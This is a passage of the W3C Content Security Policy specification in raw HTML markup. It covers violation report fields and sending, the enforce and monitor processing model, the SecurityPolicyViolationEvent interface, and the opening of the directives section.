href=#security-policy-directive title=directive>directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code>\n          directive.</dd>\n\n          <dt id=violation-report-original-policy><a class=self-link href=#violation-report-original-policy></a>original-policy</dt>\n          <dd>The original <a data-link-type=dfn href=#security-policy title=policy>policy</a>, as received by the user agent.</dd>\n\n          <dt id=violation-report-referrer><a class=self-link href=#violation-report-referrer></a>referrer</dt>\n          <dd>The <a class=idl-code data-link-for=Document data-link-type=attribute href=http://www.w3.org/TR/html5/dom.html#dom-document-referrer title=referrer>referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.</dd>\n\n          <dt id=violation-report-status-code><a class=self-link href=#violation-report-status-code></a>status-code</dt>\n          <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.</dd>\n\n          <dt id=violation-report-violated-directive><a class=self-link href=#violation-report-violated-directive></a>violated-directive</dt>\n          <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a> when enforcing\n          a directive.</dd>\n        </dl>\n      </li>\n\n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        <dl>\n          <dt id=violation-report-source-file><a class=self-link href=#violation-report-source-file></a><dfn data-dfn-type=dfn data-noexport=\"\" id=source-file>source-file<a class=self-link href=#source-file></a></dfn></dt>\n          <dd>The URI of the resource where the violation occurred,\n          <a data-link-type=dfn href=#strip-uri-for-reporting title=\"stripped for reporting\">stripped for reporting</a>.</dd>\n\n          <dt id=violation-report-line-number><a class=self-link href=#violation-report-line-number></a>line-number</dt>\n          <dd>The line number in <code><a data-link-type=dfn href=#source-file title=source-file>source-file</a></code> on which\n          the violation occurred.</dd>\n\n          <dt id=violation-report-column-number><a class=self-link href=#violation-report-column-number></a>column-number</dt>\n          <dd>The column number in <code><a data-link-type=dfn href=#source-file title=source-file>source-file</a></code> on which\n          the violation occurred.</dd>\n        </dl>\n      </li>\n      <li>Return <var>violation</var>.</li>\n    </ol>\n\n<p class=note>Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.</p>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=send-violation-reports>send violation reports<a class=self-link href=#send-violation-reports></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n\n    <ol>\n      <li>Prepare a <a data-link-type=dfn href=#json-object title=\"json object\">JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a data-link-type=dfn href=#generate-a-violation-report-object title=\"generating a violation report object\">generating\n      a violation report object</a>.</li>\n\n      <li>Let <var>report body</var> be the <a data-link-type=dfn href=#json-stringification title=\"json stringification\">JSON stringification</a> of\n      <var>report object</var>.</li>\n\n      <li>For each <var>report URI</var> in the <a data-link-type=dfn href=#set-of-report-uris title=\"set of report uris\">set of report URIs</a>:\n        <ol>\n          <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URI</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URI</var>.</li>\n\n          <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#queue-a-task title=\"queue a task\">Queue a task</a> to <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetch>fetch</a>\n          <var>report URI</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URI</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#task-source title=\"task source\">task source</a> for these\n          <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#concept-task title=tasks>tasks</a> is the <dfn data-dfn-type=dfn data-noexport=\"\" id=content-security-policy-task-source>Content Security Policy task\n          source<a class=self-link href=#content-security-policy-task-source></a></dfn>.</li>\n        </ol>\n      </li>\n    </ol>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=report-a-violation>report a violation<a class=self-link href=#report-a-violation></a></dfn>, the user agent MUST:</p>\n\n    <ol>\n      <li><a data-link-type=dfn href=#fire-a-violation-event title=\"fire a violation event\">Fire a violation event</a> at the protected resource’s\n      <code><a class=idl-code data-link-spec=HTML5 data-link-type=interface href=http://www.w3.org/TR/html5/infrastructure.html#dom-document title=document>Document</a></code>.</li>\n\n      <li>If the <a data-link-type=dfn href=#set-of-report-uris title=\"set of report uris\">set of report URIs</a> is non-empty, <a data-link-type=dfn href=#send-violation-reports title=\"send violation reports\">send violation\n      reports</a> to each.</li>\n    </ol>\n\n<p class=note>Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify.</p>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=5 id=processing-model><span class=secno>5 </span><span class=content>Processing Model</span><a class=self-link href=#processing-model></a></h2>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=enforce>enforce<a class=self-link href=#enforce></a></dfn> a policy, the user agent MUST <a data-link-type=dfn href=#parse-the-policy title=\"parse the policy\">parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a data-section=\"\" href=#sec-directives>§7 Directives</a>, below).</p>\n\n<p>Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URIs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource’s privileges that have been restricted in this\n  way.</p>\n\n<p class=note>Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.</p>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=monitor>monitor<a class=self-link href=#monitor></a></dfn> a policy, the user agent MUST <a data-link-type=dfn href=#parse-the-policy title=\"parse the policy\">parse the policy</a>\n  and monitor each of the directives contained in the policy.</p>\n\n<p>Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.</p>\n\n<p>A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a data-link-type=dfn href=#content-security-policy title=content-security-policy>Content-Security-Policy</a></code>\n  and <code><a data-link-type=dfn href=#content-security-policy-report-only title=content-security-policy-report-only>Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a data-link-type=dfn href=#enforce title=enforce>enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.</p>\n\n<p>If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.</p>\n\n<p>If the user agent <a data-link-type=dfn href=#monitor title=monitors>monitors</a> or <a data-link-type=dfn href=#enforce title=enforces>enforces</a> a policy that contains\n  an unrecognized directive, the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.</p>\n\n<p>If the user agent <a data-link-type=dfn href=#monitor title=monitors>monitors</a> or <a data-link-type=dfn href=#enforce title=enforces>enforces</a> a policy that contains\n  a directive that contains a <a data-link-type=dfn href=#source-list0 title=\"source list\">source list</a>, then the user agent MUST set\n  a <code><a data-link-type=dfn href=#ch-csp title=ch-csp>CH-CSP</a></code> Client Hint when requesting cross-origin\n  resources, as described in the <a data-section=\"\" href=#ch-csp-client-hint>§3.4 The CH-CSP Client Hint</a>\n  section.</p>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=5.1 id=processing-model-workers><span class=secno>5.1 </span><span class=content>Workers</span><a class=self-link href=#processing-model-workers></a></h3>\n\n<p>Whenever a user agent <a data-link-type=dfn href=#runs-a-worker title=\"runs a worker\">runs a worker</a>:</p>\n\n    <ul>\n      <li>If the worker’s script’s origin is a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>\n      (for example, the worker’s script’s URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      <ul>\n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var>, the user agent MUST enforce the CSP policy for the\n        worker.</li>\n\n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var>, the user agent MUST monitor the CSP policy for the\n        worker.</li>\n      </ul></li>\n      <li>Otherwise:\n        <ul>\n          <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a>\n          <var>policy</var> for the worker.</li>\n\n          <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a data-link-type=dfn href=#monitor title=monitor>monitor</a> <var>policy</var> for the worker.</li>\n        </ul>\n      </li>\n    </ul>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=5.2 id=processing-model-iframe-srcdoc><span class=secno>5.2 </span><span class=content><code>srcdoc</code> IFrames</span><a class=self-link href=#processing-model-iframe-srcdoc></a></h3>\n\n<p>Whenever a user agent creates an <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document title=\"an iframe srcdoc document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a data-link-type=dfn href=#enforce title=enforcing>enforcing</a> any <a data-link-type=dfn href=#security-policy title=policies>policies</a>\n    for the protected resource, the user agent MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a> those\n    <a data-link-type=dfn href=#security-policy title=policies>policies</a> on the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code>\n    <code>srcdoc</code> document as well.</p>\n\n<p>Whenever a user agent creates a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document title=\"an iframe srcdoc document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a data-link-type=dfn href=#monitor title=monitor>monitor</a> those policies on\n    the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> <code>srcdoc</code> document as well.</p>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=6 id=script-interfaces><span class=secno>6 </span><span class=content>Script Interfaces</span><a class=self-link href=#script-interfaces></a></h2>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=6.1 id=securitypolicyviolationevent-interface><span class=secno>6.1 </span><span class=content>\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span><a class=self-link href=#securitypolicyviolationevent-interface></a></h3>\n\n    <pre class=idl>[Constructor(DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent/SecurityPolicyViolationEvent() data-dfn-type=argument data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent()<method>/type<argument>\" id=dom-securitypolicyviolationeventsecuritypolicyviolationevent-type>type<a class=self-link href=#dom-securitypolicyviolationeventsecuritypolicyviolationevent-type></a></dfn>, optional <a data-link-type=idl href=#dictdef-securitypolicyviolationeventinit title=securitypolicyviolationeventinit>SecurityPolicyViolationEventInit</a> <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent/SecurityPolicyViolationEvent() data-dfn-type=argument data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent()<method>/eventinitdict<argument>\" id=dom-securitypolicyviolationeventsecuritypolicyviolationevent-eventinitdict>eventInitDict<a class=self-link href=#dom-securitypolicyviolationeventsecuritypolicyviolationevent-eventinitdict></a></dfn>)]\ninterface <dfn class=idl-code data-dfn-type=interface data-export=\"\" data-global-name=\"\" id=dom-securitypolicyviolationevent>SecurityPolicyViolationEvent<a class=self-link href=#dom-securitypolicyviolationevent></a></dfn> : <a data-link-type=idl href=http://dom.spec.whatwg.org/#event title=event>Event</a> {\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/documenturi<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-documenturi title=documenturi>documentURI</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/referrer<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-referrer title=referrer>referrer</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/blockeduri<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-blockeduri title=blockeduri>blockedURI</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/violateddirective<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-violateddirective title=violateddirective>violatedDirective</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/effectivedirective<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-effectivedirective title=effectivedirective>effectiveDirective</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/originalpolicy<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-originalpolicy title=originalpolicy>originalPolicy</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/sourcefile<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-sourcefile title=sourcefile>sourceFile</a>;\n    readonly    attribute long      <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/linenumber<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"long      \" href=#dom-securitypolicyviolationevent-linenumber title=linenumber>lineNumber</a>;\n    readonly    attribute long      <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/columnnumber<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"long      \" href=#dom-securitypolicyviolationevent-columnnumber title=columnnumber>columnNumber</a>;\n};\n</pre>\n    <dl data-dfn-for=SecurityPolicyViolationEvent>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-documenturi>documentURI<a class=self-link href=#dom-securitypolicyviolationevent-documenturi></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-document-uri><code>document-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-referrer>referrer<a class=self-link href=#dom-securitypolicyviolationevent-referrer></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-referrer><code>referrer</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-blockeduri>blockedURI<a class=self-link href=#dom-securitypolicyviolationevent-blockeduri></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-blocked-uri><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-violateddirective>violatedDirective<a class=self-link href=#dom-securitypolicyviolationevent-violateddirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-violated-directive><code>violated-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-effectivedirective>effectiveDirective<a class=self-link href=#dom-securitypolicyviolationevent-effectivedirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-effective-directive><code>effective-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-originalpolicy>originalPolicy<a class=self-link href=#dom-securitypolicyviolationevent-originalpolicy></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-original-policy><code>original-policy</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-sourcefile>sourceFile<a class=self-link href=#dom-securitypolicyviolationevent-sourcefile></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-source-file><code>source-file</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-linenumber>lineNumber<a class=self-link href=#dom-securitypolicyviolationevent-linenumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-line-number><code>line-number</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-columnnumber>columnNumber<a class=self-link href=#dom-securitypolicyviolationevent-columnnumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-column-number><code>column-number</code></a> property of violation reports for a description of this property.</dd>\n    </dl>\n  </section>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=6.2 id=securitypolicyviolationeventinit-interface><span class=secno>6.2 </span><span class=content>\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span><a class=self-link href=#securitypolicyviolationeventinit-interface></a></h3>\n\n    <pre class=idl>dictionary <dfn class=idl-code data-dfn-type=dictionary data-export=\"\" data-global-name=\"\" id=dictdef-securitypolicyviolationeventinit>SecurityPolicyViolationEventInit<a class=self-link href=#dictdef-securitypolicyviolationeventinit></a></dfn> : <a data-link-type=idl href=http://dom.spec.whatwg.org/#eventinit title=eventinit>EventInit</a> {\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/documenturi<dict-member>\" id=dom-securitypolicyviolationeventinit-documenturi0>documentURI<a class=self-link href=#dom-securitypolicyviolationeventinit-documenturi0></a></dfn>;\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/referrer<dict-member>\" id=dom-securitypolicyviolationeventinit-referrer0>referrer<a class=self-link href=#dom-securitypolicyviolationeventinit-referrer0></a></dfn>;\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/blockeduri<dict-member>\" id=dom-securitypolicyviolationeventinit-blockeduri0>blockedURI<a class=self-link href=#dom-securitypolicyviolationeventinit-blockeduri0></a></dfn>;\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/violateddirective<dict-member>\" id=dom-securitypolicyviolationeventinit-violateddirective0>violatedDirective<a class=self-link href=#dom-securitypolicyviolationeventinit-violateddirective0></a></dfn>;\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/effectivedirective<dict-member>\" id=dom-securitypolicyviolationeventinit-effectivedirective0>effectiveDirective<a class=self-link href=#dom-securitypolicyviolationeventinit-effectivedirective0></a></dfn>;\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/originalpolicy<dict-member>\" id=dom-securitypolicyviolationeventinit-originalpolicy0>originalPolicy<a class=self-link href=#dom-securitypolicyviolationeventinit-originalpolicy0></a></dfn>;\n    DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/sourcefile<dict-member>\" id=dom-securitypolicyviolationeventinit-sourcefile0>sourceFile<a class=self-link href=#dom-securitypolicyviolationeventinit-sourcefile0></a></dfn>;\n    long      <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/linenumber<dict-member>\" id=dom-securitypolicyviolationeventinit-linenumber0>lineNumber<a class=self-link href=#dom-securitypolicyviolationeventinit-linenumber0></a></dfn>;\n    long      <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=dict-member data-export=\"\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/columnnumber<dict-member>\" id=dom-securitypolicyviolationeventinit-columnnumber0>columnNumber<a class=self-link href=#dom-securitypolicyviolationeventinit-columnnumber0></a></dfn>;\n};\n</pre>\n    <dl data-dfn-for=SecurityPolicyViolationEventInit>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-documenturi>documentURI<a class=self-link href=#dom-securitypolicyviolationeventinit-documenturi></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-document-uri><code>document-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-referrer>referrer<a class=self-link href=#dom-securitypolicyviolationeventinit-referrer></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-referrer><code>referrer</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-blockeduri>blockedURI<a class=self-link href=#dom-securitypolicyviolationeventinit-blockeduri></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-blocked-uri><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-violateddirective>violatedDirective<a class=self-link href=#dom-securitypolicyviolationeventinit-violateddirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-violated-directive><code>violated-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-effectivedirective>effectiveDirective<a class=self-link href=#dom-securitypolicyviolationeventinit-effectivedirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-effective-directive><code>effective-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-originalpolicy>originalPolicy<a class=self-link href=#dom-securitypolicyviolationeventinit-originalpolicy></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-original-policy><code>original-policy</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-sourcefile>sourceFile<a class=self-link href=#dom-securitypolicyviolationeventinit-sourcefile></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-source-file><code>source-file</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-linenumber>lineNumber<a class=self-link href=#dom-securitypolicyviolationeventinit-linenumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-line-number><code>line-number</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-columnnumber>columnNumber<a class=self-link href=#dom-securitypolicyviolationeventinit-columnnumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-column-number><code>column-number</code></a> property of violation reports for a description of this property.</dd>\n    </dl>\n  </section>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=6.3 id=firing-securitypolicyviolationevent-events><span class=secno>6.3 </span><span class=content>Firing Violation Events</span><a class=self-link href=#firing-securitypolicyviolationevent-events></a></h3>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=fire-a-violation-event>fire a violation event<a class=self-link href=#fire-a-violation-event></a></dfn>, the user agent MUST use an algorithm\n    equivalent to the following:</p>\n\n    <ol>\n      <li>Let <var>report object</var> be the result of <a data-link-type=dfn href=#generate-a-violation-report-object title=\"generating a violation report object\">generating a\n      violation report object</a>.</li>\n\n      <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#queue-a-task title=\"queue a task\">Queue a task</a> to\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire title=firing>fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a class=idl-code data-link-type=interface href=#dom-securitypolicyviolationevent title=securitypolicyviolationevent>SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        <ul>\n          <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>blocked-uri</code> key.</li>\n\n          <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>document-uri</code> key.</li>\n\n          <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>effective-directive</code> key.</li>\n\n          <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>original-policy</code> key.</li>\n\n          <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>referrer</code> key.</li>\n\n          <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>violated-directive</code> key.</li>\n\n          <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>source-file</code> key.</li>\n\n          <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>line-number</code> key.</li>\n\n          <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>column-number</code> key.</li>\n        </ul>\n      </li>\n    </ol>\n\n<p>The <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#task-source title=\"task source\">task source</a> for these <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#concept-task title=tasks>tasks</a>\n    is the <a data-link-type=dfn href=#content-security-policy-task-source title=\"content security policy task source\">Content Security Policy task source</a>.</p>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=7 id=sec-directives><span class=secno>7 </span><span class=content>Directives</span><a class=self-link href=#sec-directives></a></h2>\n\n<p>This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.</p>\n\n<p>In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:</p>\n\n  <ul>\n    <li>both the <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> and\n    <code><a data-link-type=dfn href=#object-src title=object-src>object-src</a></code> directives, or</li>\n\n    <li>include a <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive, which covers both\n    scripts and plugins.</li>\n  